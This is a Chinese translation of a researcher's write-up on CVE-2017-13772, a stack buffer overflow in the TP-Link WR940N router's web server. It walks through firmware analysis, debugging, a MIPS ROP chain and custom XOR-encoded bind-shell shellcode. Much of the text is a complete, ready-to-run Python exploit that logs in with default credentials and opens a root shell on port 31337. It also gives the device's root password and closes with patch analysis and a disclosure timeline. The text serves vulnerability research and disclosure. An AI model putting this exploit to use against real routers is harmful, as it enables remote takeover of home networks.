1. 程式人生 > 其它 >TP-LINK 遠端程式碼執行漏洞 CVE-2017-13772 趣談

TP-LINK 遠端程式碼執行漏洞 CVE-2017-13772 趣談

原文地址:《A CURIOUS TALE OF REMOTE CODE EXECUTION, THE TP-LINK STORY – CVE-2017-13772》

譯者:hello1900@知道創宇404實驗室

發表時間:2017年10月31日

前言:

本文重點討論作者近期從事 TP-Link WR940N 家用 WiFi 路由器漏洞研究獲得的心得體會,主要從發現漏洞程式碼路徑的必要步驟與通過這些路徑實現遠端程式碼執行的方式兩方面入手。

首先,我將介紹如何找到第一個漏洞以及生成完整攻擊鏈的方法;然後,說明此漏洞已形成特定模式,可使裝置遭受數百種網路攻擊。

裝置

我選取的裝置是TP-Link(硬體版本4)WR940N 家用 WiFi 路由器。進行物聯網裝置研究的通常做法是獲取韌體副本並提取檔案系統。

韌體連結:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip

如圖所示,binwalk已成功發現並提取檔案系統。下一步是獲得關於裝置執行程式的少量資訊,例如影子檔案內容(具體原因將在後文闡述)。

我接觸過的多數嵌入式系統都採用busybox,所以重點在於找出能夠執行哪些程式、是否需要某種形式的shell注入。解決上述問題通常有兩種做法,一種做法是列出busybox中的所有symlink。我個人比較喜歡在chroot環境qemu下執行busybox二進位制檔案,好處是能夠獲知啟用了哪些功能:

所以,我並沒有採用Telnet、netcat等工具,但確實有用到tftp。後者可在獲取shell注入後使用。最後,快速瀏覽rc.d/rcS後得出結論,路由器啟動最後一項操作是執行httpd二進位制檔案。我原以為可從這裡入手,因為HTTP daemon通常提供較大攻擊面。

訪問裝置

我在Web介面初始測試階段找到可在成功驗證大型字串的前提下致使裝置停止響應的區域。有趣的是使用者端程式碼輸入不得超過50個字元。

顯然,這種做法可通過Burp Suite輕易繞過。在等待USB uart 啟動裝置的過程中,我決定對這些欄位進行簡單的fuzz處理。此外,我還發現輸入51位元組ping_addr後產生以下後果:

儘管HTTP埠仍處於開放狀態,我還是以略顯笨拙的fuzzing方法將位元組數提高到200,並發現這種做法確實能使服務崩潰:

現在,我們已成功發現一個拒絕服務(DoS)漏洞,但並沒多大新意。為了合理除錯執行程式,我需要通過uart互動介面訪問裝置,具體步驟參見https://wiki.openwrt.org/toh/tp-link/tl-wr940n

。應注意,裝置成功啟動後將出現一個登陸提示。可嘗試破解上述影子檔案密碼或像我一樣到網上進行谷歌搜尋(root密碼為sohoadmin)。

現在我們已成功訪問裝置,可以瞭解實際運行了哪些程式。如圖所示,httpd二進位制檔案負責多個程序。

最後一步是下載gdbserver。為確保正常執行,我花費大量功夫尋找一款交叉編譯的gdbserver。如果選擇下載GPL原始碼,就可以省去這些麻煩,直接獲取預先編譯的二進位制檔案。我用SCP進行復制,經過一番周折終於發現連線到上一個httpd程序可以除錯實際Web介面。

漏洞概況

如上所述,使用者輸入超出JavaScript程式碼限制就會造成HTTP服務崩潰。

IDA中的二進位制檔案明確闡述了具體程序使用情況。例如,sub_453C50具有檢查請求是否有效、通過驗證的常用功能:

接下來,對httpGetEnv進行呼叫。應注意 “ping_addr”、“isNew”等值通過GET引數傳遞。然後,仍在相同函式中呼叫ipAddrDispose。

第一個漏洞就存在於這個函式中。函式開頭宣告堆疊變數va_AC,然後作為目標引數傳遞給strcpy呼叫。問題在於源引數($s1)是函式的第一個引數,並且沒有對其長度進行驗證,屬於一個經典的緩衝區溢位。

概念驗證

為此,我專門寫了一個簡單的python指令碼觸發漏洞,也就是登入功能。登入裝置將生成隨機URL。

import urllib2
import urllib
import base64
import hashlibdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“=”)[2].split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_urlreturn (next_url, encoded_string)
def exploit(url, auth):
#trash,control of s0,s1   +     ra  +   shellcode
evil = “x41″*800
params = {‘ping_addr’: evil, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}

new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)

resp = urllib2.urlopen(req)

if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
exploit(data[0], data[1])

啟動gdbserver(需附加到最後一個httpd程序)後,我在ipAddrDispose退出之前設定了一個斷點,然後執行PoC:

可以看到,我們已經獲得返回地址的控制權限。 在執行常規的msf_pattern_create / pattern_offset程序後,$ra在偏移量168處被覆蓋。同時,我們分別擁有對$s0(位於偏移量160)與$s1(位於偏移量164)的控制權。此外,我們還有一個大型緩衝區堆疊存放shellcode:

攻擊鏈構造

這部分工作需要注意Mips架構相關事項。首先是快取一致性,這點在許多部落格中都有廣泛提及(參見 http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/。 簡單說來,如果我們嘗試在堆疊上執行shellcode,CPU將檢查快取中是否已有虛擬地址資料,如果有就執行。這意味著觸發漏洞前,堆疊上的任何資料都可能被執行。 此外,如果我們的shellcode具有自修改屬性(對於IE,我們使用編碼器),編碼指令將最終被執行。

參考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf

正如許多線上資源所述,重新整理快取的最佳方式是通過ROP將呼叫設定為睡眠狀態。觸發該漏洞後,我將兩個呼叫設定為睡眠狀態,第一個直接進入睡眠狀態,第二個在解碼器成完成對含有壞位元組的指令解碼後進入睡眠狀態。

我們只有確定哪些庫可執行及其所在地址才能判斷應使用哪些小工具。(注:預設情況下不啟用ASLR)。

httpd maps:
00400000-00587000 r-xp 00000000 1f:02 64         /usr/bin/httpd
00597000-005b7000 rw-p 00187000 1f:02 64         /usr/bin/httpd
005b7000-00698000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 237        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aabc000-2aabd000 r–p 00004000 1f:02 237        /lib/ld-uClibc-0.9.30.so
2aabd000-2aabe000 rw-p 00005000 1f:02 237        /lib/ld-uClibc-0.9.30.so
2aabe000-2aacb000 r-xp 00000000 1f:02 218        /lib/libpthread-0.9.30.so
2aacb000-2aada000 —p 00000000 00:00 0
2aada000-2aadb000 r–p 0000c000 1f:02 218        /lib/libpthread-0.9.30.so
2aadb000-2aae0000 rw-p 0000d000 1f:02 218        /lib/libpthread-0.9.30.so
2aae0000-2aae2000 rw-p 00000000 00:00 0
2aae2000-2ab3f000 r-xp 00000000 1f:02 238        /lib/libuClibc-0.9.30.so<….. snip …..>7edfc000-7ee00000 rwxp 00000000 00:00 0
7effc000-7f000000 rwxp 00000000 00:00 0
7f1fc000-7f200000 rwxp 00000000 00:00 0
7f3fc000-7f400000 rwxp 00000000 00:00 0
7f5fc000-7f600000 rwxp 00000000 00:00 0
7fc8b000-7fca0000 rwxp 00000000 00:00 0          [stack]

LibuClibC-0.9.30.so看似可行,在IDA中開啟並使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py指令碼就可以尋找小工具了。

首先,我們需要一個具有以下功能的小工具:

li $a0, 1
mov $t9, $s0 or $s1 #we control $s0 and $s1

jr $t9

執行的第一個命令是mipsrop.set_base(0x2aae000),它將自動計算實際地址。

注意第二個小工具,它返回到$s1中的地址:

這是我設定睡眠狀態呼叫的小工具,它的地址將覆蓋ipAddrDispose的返回地址。

我們將要用到的下一個小工具(放入$s1)需要呼叫睡眠狀態,前提是將睡眠後呼叫的小工具地址放放在ra中。 我們可以使用mipsrop.tail()查詢此類小工具。

這個小工具執行良好,唯一要注意的是它會在初次執行時自動完成呼叫。

第一次被呼叫時,$s1將包含0x2AE3840,用作$t9中的地址跳轉。為了讓這個小工具正常工作,需要準備堆疊。在第一次呼叫過程中,將睡眠地址放在$s1中,也就是0x20($sp)。 在第二次呼叫過程中,$t9將產生睡眠地址,需要將待呼叫的下一個小工具地址設定為0x24($sp),再根據最終小工具填寫$s0和$s1(跳轉至現有shellcode)。

這為我們提供了以下有效載荷:

          Trash           $s1                  $ra
rop = “A”*164 + call_sleep  + prepare_sleep + “B”*0x20 + sleep_addr
$s0            $s1             $ra

rop += “C”*0x20 +  “D”*4 + “E”*4 + next_gadg

從睡眠狀態返回後,待呼叫的下一個小工具需要將堆疊指標儲存在暫存器中,然後跳轉至$s0或$s1中的地址(均在控制範圍內)。 這將導致最終的小工具跳轉到該暫存器(意味著它將跳轉至堆疊的某個位置,最好是shellcode的位置)。mipsrop.py中的一個便捷功能是stack stackfinder():

瀏覽後發現幾乎所有這些小工具都好用,我們重點了解最後一個:

既然$s0可通過之前的小工具進行控制,現在要做的是找到一個跳轉至$s2中地址(堆疊地址)的小工具。

這些小工具都有效,但我偏好使用對其他暫存器影響最小的小工具,例如:

此時,有效載荷如下所示:

nop = “x22x51x44x44”
gadg_1 = “x2AxB3x7Cx60”
gadg_2 = “x2AxB1x78x40”
sleep_addr = “x2axb3x50x90”
stack_gadg = “x2AxAFx84xC0”
call_code = “x2AxB2xDCxF0″def first_exploit(url, auth):
#                trash                $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

攻擊鏈執行後困在NOP sled環節,當務之急是寫一些shellcode,識別壞字元,並將<decode> + <sleep> + <編碼shellcode>附加到攻擊鏈。

我只找到一處壞位元組0x20,顯然應該是0x00。

我嘗試使所有常見有效載荷正常工作,但msf_venom無法使用mips/long_xor編碼,而我也無法獲得bowcaster有效載荷。 我沒寫過mips shellcode,所以決定寫一個極簡版編碼器,僅通過引用堆疊偏移對含有壞位元組的指令進行操作。

.set noreorder
#nop
addi $s5, $s6, 0x4444#xor key
li $s1, 2576980377#get address of stack
la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode)
addi $s2, $s2, -864#decode first bad bytes
lw $t2, -263($s2)
xor $v1, $s1, $t2
sw $v1, -263($s2)#decode 2nd bad bytes
lw $t2, -191($s2)
xor $v1, $s1, $t2
sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444 #nop

這顯然不是最有效的處理方式,因為需要在堆疊上找到每個壞位元組的偏移量(幸好mips是4位元組對齊指令,因此每個偏移都是4的倍數)。此外,還需要計算每個壞位元組指令的編碼值。

繫結shellcode非常簡單。

.set noreorder
###### sys_socket ######
addiu  $sp, $sp, -32
li               $t6, -3
nor          $a0, $t6, $zero
nor          $a1, $t6, $zero
slti           $a2, $0, -1
li               $v0, 4183
syscall 0x40404##### sys_bind ####
add          $t9, $t9, 0x4444                #nop
andi        $s0, $v0, 0xffff
li               $t6, -17                  nor          $t6, $t6, $zero
li               $t5, 0x7a69         #port 31337        li               $t7,  -513
nor          $t7, $t7, $zero
sllv           $t7, $t7, $t6
or             $t5, $t5, $t7       sw            $t5, -32($sp)       sw     $zero,-28($sp)
sw     $zero,-24($sp)
sw     $zero,-20($sp)
or             $a0, $s0, $s0
li               $t6, -17                  nor          $a2, $t6, $zero
addi   $a1, $sp, -32
li               $v0, 4169
syscall 0x40404##### listen #####
li      $t7,0x7350
or      $a0,$s0,$s0
li      $a1,257
li      $v0,4174
syscall 0x40404##### accept #####
li      $t7,0x7350
or      $a0,$s0,$s0
slti    $a1,$zero,-1
slti    $a2,$zero,-1
li      $v0,4168
syscall  0x40404##### dup fd’s ####
li      $t7,0x7350
andi    $s0,$v0,0xffff
or      $a0,$s0,$s0
li      $t7,-3
nor     $a1,$t7,$zero
li      $v0,4063
syscall 0x40404
li      $t7,0x7350
or      $a0,$s0,$s0
slti    $a1,$zero,0x0101
li      $v0,4063
syscall 0x40404
li      $t7,0x7350
or      $a0,$s0,$s0
slti    $a1,$zero,-1
li      $v0,4063
syscall 0x40404######execve######
lui   $t7,0x2f2f
ori   $t7,$t7,0x6269
sw    $t7,-20($sp)
lui   $t6,0x6e2f
ori   $t6,$t6,0x7368
sw    $t6,-16($sp)
sw    $zero,-12($sp)
addiu $a0,$sp,-20
sw    $a0,-8($sp)
sw    $zero,-4($sp)
addiu $a1,$sp,-8
li    $v0,4011
syscall 0x40404#### sleep #####
li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444

請注意,如果我們在呼叫execve後沒有進入睡眠狀態,原始程序將會結束並殺死所有其他httpd程序,阻止我們訪問bind shell。

此漏洞的最終攻擊鏈構造如下:

import urllib2
import urllib
import base64
import hashlib
import osdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string
#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[debug] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“x22x51x44x44x3cx11x99x99x36x31x99x99”
“x27xb2x05x9f”
“x22x52xfcxa0x8ex4axfexf9”
“x02x2ax18x26xaex43xfexf9x8ex4axffx41”
“x02x2ax18x26xaex43xffx41x8ex4axffx5d”
“x02x2ax18x26xaex43xffx5dx8ex4axffx71”
“x02x2ax18x26xaex43xffx71x8ex4axffx8d”
“x02x2ax18x26xaex43xffx8dx8ex4axffx99”
“x02x2ax18x26xaex43xffx99x8ex4axffxa5”
“x02x2ax18x26xaex43xffxa5x8ex4axffxad”
“x02x2ax18x26xaex43xffxadx8ex4axffxb9”
“x02x2ax18x26xaex43xffxb9x8ex4axffxc1”
“x02x2ax18x26xaex43xffxc1″#sleep
“x24x12xffxffx24x02x10x46x24x0fx03x08”
“x21xefxfcxfcxafxafxfbxfexafxafxfbxfa”
“x27xa4xfbxfax01x01x01x0cx21x8cx11x5c”################ encoded shellcode ###############
“x27xbdxffxe0x24x0exffxfdx98x59xb9xbex01xc0x28x27x28x06”
“xffxffx24x02x10x57x01x01x01x0cx23x39x44x44x30x50xffxff”
“x24x0exffxefx01xc0x70x27x24x0d”
“x7ax69”            #<————————- PORT 0x7a69 (31337)
“x24x0fxfdxffx01xe0x78x27x01xcfx78x04x01xafx68x25xafxad”
“xffxe0xafxa0xffxe4xafxa0xffxe8xafxa0xffxecx9bx89xb9xbc”
“x24x0exffxefx01xc0x30x27x23xa5xffxe0x24x02x10x49x01x01”
“x01x0cx24x0fx73x50”
“x9bx89xb9xbcx24x05x01x01x24x02x10x4ex01x01x01x0cx24x0f”
“x73x50x9bx89xb9xbcx28x05xffxffx28x06xffxffx24x02x10x48”
“x01x01x01x0cx24x0fx73x50x30x50xffxffx9bx89xb9xbcx24x0f”
“xffxfdx01xe0x28x27xbdx9bx96x46x01x01x01x0cx24x0fx73x50”
“x9bx89xb9xbcx28x05x01x01xbdx9bx96x46x01x01x01x0cx24x0f”
“x73x50x9bx89xb9xbcx28x05xffxffxbdx9bx96x46x01x01x01x0c”
“x3cx0fx2fx2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce”
“x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxafxa4xffxf8”
“xafxa0xffxfcx27xa5xffxf8x24x02x0fxabx01x01x01x0cx24x02”
“x10x46x24x0fx03x68x21xefxfcxfcxafxafxfbxfexafxafxfbxfa”
“x27xa4xfbxfex01x01x01x0cx21x8cx11x5c”
)###### useful gadgets #######
nop = “x22x51x44x44”
gadg_1 = “x2AxB3x7Cx60”
gadg_2 = “x2AxB1x78x40”
sleep_addr = “x2axb3x50x90”
stack_gadg = “x2AxAFx84xC0”
call_code = “x2AxB2xDCxF0″def first_exploit(url, auth):
#                      trash      $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…”
print “[+] Please wait a few seconds before connecting to port 31337…”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)                         resp = urllib2.urlopen(req)if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
first_exploit(data[0], data[1])

深入分析

這個漏洞有一個非常簡單的模式,即來自GET引數的使用者輸入直接傳遞給strcpy呼叫,無需任何驗證。 深入分析二進位制檔案後得出結論,這種相同模式在多處都有呈現。

實際上,存在大量strcpy呼叫:

值得稱讚的是,廠商在短短几天內就為第一個漏洞提供了補丁。 但從我個人角度看,幾乎所有這些strcpy呼叫都需要以更安全的字串複製功能替代。為了證明這一點,我決定再構造一個攻擊鏈,通過dnsserver2引數觸發WanStaticIpV6CfgRpm.htm中的緩衝區溢位。

這個攻擊鏈與之前那個十分相似,僅在自定義編碼器中存在一處偏移量改變(因為堆疊指標指向不同位置)。 主要區別是在我在Mips exploit開發過程中沒有遇到的位元組對齊問題。

構造攻擊鏈過程中,我不斷收到非法指令錯誤提示,nop sled看起來也不像以前那樣:

注意所有指令都相隔2個位元組,原因在於我的有效載荷:

這個緩衝區結尾有一處未指定輸入,強制有效載荷結束對齊。 事實證明,即使這是最後步驟,也需要填補最終有效載荷,恢復對齊。完成後,nopsled將如下所示:

我們得到繫結shell:

最終程式碼包含兩個漏洞的攻擊鏈,如下所示:

(注:在second_exploit中,幾乎所有GET引數都易受緩衝區溢位影響)

import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
“___________________________________________________________________________n”
“WR940N Authenticated Remote Code Exploitn”
“This exploit will open a bind shell on the remote targetn”
“The port is 31337, you can change that in the code if you wishn”
“This exploit requires authentication, if you know the creds, thenn”
“use the -u -p options, otherwise default is admin:adminn”
“___________________________________________________________________________”
)def login(ip, user, pwd):
print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[+] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[+] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“x22x51x44x44x3cx11x99x99x36x31x99x99”
“x27xb2x05x4b” #0x27b2059f for first_exploit
“x22x52xfcxa0x8ex4axfexf9”
“x02x2ax18x26xaex43xfexf9x8ex4axffx41”
“x02x2ax18x26xaex43xffx41x8ex4axffx5d”
“x02x2ax18x26xaex43xffx5dx8ex4axffx71”
“x02x2ax18x26xaex43xffx71x8ex4axffx8d”
“x02x2ax18x26xaex43xffx8dx8ex4axffx99”
“x02x2ax18x26xaex43xffx99x8ex4axffxa5”
“x02x2ax18x26xaex43xffxa5x8ex4axffxad”
“x02x2ax18x26xaex43xffxadx8ex4axffxb9”
“x02x2ax18x26xaex43xffxb9x8ex4axffxc1”
“x02x2ax18x26xaex43xffxc1”

#sleep
“x24x12xffxffx24x02x10x46x24x0fx03x08”
“x21xefxfcxfcxafxafxfbxfexafxafxfbxfa”
“x27xa4xfbxfax01x01x01x0cx21x8cx11x5c”

################ encoded shellcode ###############
“x27xbdxffxe0x24x0exffxfdx98x59xb9xbex01xc0x28x27x28x06”
“xffxffx24x02x10x57x01x01x01x0cx23x39x44x44x30x50xffxff”
“x24x0exffxefx01xc0x70x27x24x0d”
“x7ax69”            #<————————- PORT 0x7a69 (31337)
“x24x0fxfdxffx01xe0x78x27x01xcfx78x04x01xafx68x25xafxad”
“xffxe0xafxa0xffxe4xafxa0xffxe8xafxa0xffxecx9bx89xb9xbc”
“x24x0exffxefx01xc0x30x27x23xa5xffxe0x24x02x10x49x01x01”
“x01x0cx24x0fx73x50”
“x9bx89xb9xbcx24x05x01x01x24x02x10x4ex01x01x01x0cx24x0f”
“x73x50x9bx89xb9xbcx28x05xffxffx28x06xffxffx24x02x10x48”
“x01x01x01x0cx24x0fx73x50x30x50xffxffx9bx89xb9xbcx24x0f”
“xffxfdx01xe0x28x27xbdx9bx96x46x01x01x01x0cx24x0fx73x50”
“x9bx89xb9xbcx28x05x01x01xbdx9bx96x46x01x01x01x0cx24x0f”
“x73x50x9bx89xb9xbcx28x05xffxffxbdx9bx96x46x01x01x01x0c”
“x3cx0fx2fx2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce”
“x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxafxa4xffxf8”
“xafxa0xffxfcx27xa5xffxf8x24x02x0fxabx01x01x01x0cx24x02”
“x10x46x24x0fx03x68x21xefxfcxfcxafxafxfbxfexafxafxfbxfa”
“x27xa4xfbxfex01x01x01x0cx21x8cx11x5c”
)

###### useful gadgets #######
nop = “x22x51x44x44”
gadg_1 = “x2AxB3x7Cx60”
gadg_2 = “x2AxB1x78x40”
sleep_addr = “x2axb3x50x90”
stack_gadg = “x2AxAFx84xC0”
call_code = “x2AxB2xDCxF0”

def first_exploit(url, auth):
#                      trash $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr + “C”*4
rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}

new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)

print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)

resp = urllib2.urlopen(req)

def second_exploit(url, auth):
url = url + “WanStaticIpV6CfgRpm.htm?”
#                 trash      s0      s1      s2       s3     s4      ret     shellcode
payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c
payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4
payload += stack_gadg + “A”*4 +  nop*10 + shellcode + “B”*7
print len(payload)

params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’,
‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’,
‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’,
‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’}

new_url = url + urllib.urlencode(params)

print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”)

resp = urllib2.urlopen(req)

if __name__ == ‘__main__’:
print banner
username = “admin”
password = “admin”

parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host”,
help=”target ip address”)

parser.add_option(“-u”, “–user”, dest=”username”,
help=”username for authentication”,
default=”admin”)

parser.add_option(“-p”, “–password”, dest=”password”,
help=”password for authentication”,
default=”admin”)

(options, args) = parser.parse_args()

if options.host is None:
parser.error(“[x] A host name is required at the minimum [x]”)

if options.username is not None:
username = options.username
if options.password is not None:
password = options.password

(next_url, encoded_string) = login(options.host, username, password)

###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
second_exploit(next_url, encoded_string)

影響

一項shodan快速搜尋結果顯示有7200臺類似聯網裝置。(目前,已在一個月內增長了3500臺。)

漏洞修復

為了修復這些漏洞,廠商需要以更安全的操作(例如strncpy)代替大部分strcpy呼叫。值得稱讚的是,他們很快就實現了這一目標並在報告其他受影響程式碼的一週內提供了完整補丁。接下來,我將對補丁進行快速分析。

首先,應檢視strcpy交叉引用。二進位制檔案存在700多個呼叫,在修復版本中,我們可以看到不同景象:

針對這些位置的深入分析結果顯示,這些呼叫不對使用者輸入產生影響,例如:

對於分析已知漏洞存在區域,例如dnsserver2 GET引數:

簡單起見,令$a0 = dest,$a1 = src,$a2 = size。 接下來我們可以看到:

  1. 0x2C在loc_452E0C之前載入到$a2中。
  2. 使用httpGetEnv抓取“dnsserver2”引數。
  3. 如果httpGetEnv返回0,那麼緩衝區var_24f被清零。
  4. 否則,返回的指標被移至$a1。
  5. 0x2C大小被載入到$a2。
  6. 目的地已經在$a0(在分支產生前在延遲槽中移動)。
  7. 之後,根據httpGetEnv結果(通過$t9)呼叫memset或strncpy。

我們可以看到,以上操作有效防止了緩衝區溢位,因為只能將最大數量位元組複製到緩衝區。 var_24F是一個基於堆疊的緩衝區,大小為0x2C。

事實上,我們現在可以看到,提供給廠商的漏洞模式已被安全模式取代。 因此,修復程式通過移除使用者輸入中的strcpy呼叫來合理保護緩衝區溢位。

使用的工具:

Binwalk

IDA

Qemu

mipsrop.py外掛

適用於TTL UART 6PIN CP2102模組序列轉換器的USB 2.0

致謝

Tim Carrington –@_invictus

參考

時間線

  • 向廠商披露漏洞細節 - 11/8/2017
  • 接到廠商迴應與初步諮詢請求 - 14/8/2017
  • 傳送初步諮詢建議 - 14/8/2017
  • 測試版補丁傳送廠商測試 - 17/8/2017
  • 確認補丁有效,其他漏洞由作者自行查詢;第二個攻擊鏈構造是為了證明這一點。傳送廠商 - 17/8/2017
  • 廠商迴應將研究其他漏洞區域 - 18/8/2017
  • 傳送供廠商測試的第二個補丁 - 25/8/17
  • 確認補丁以緩解漏洞(移除了500多個strcpy呼叫)- 29/8/2017
  • 補丁釋出 - 28/9/2017(僅限HW V5 US)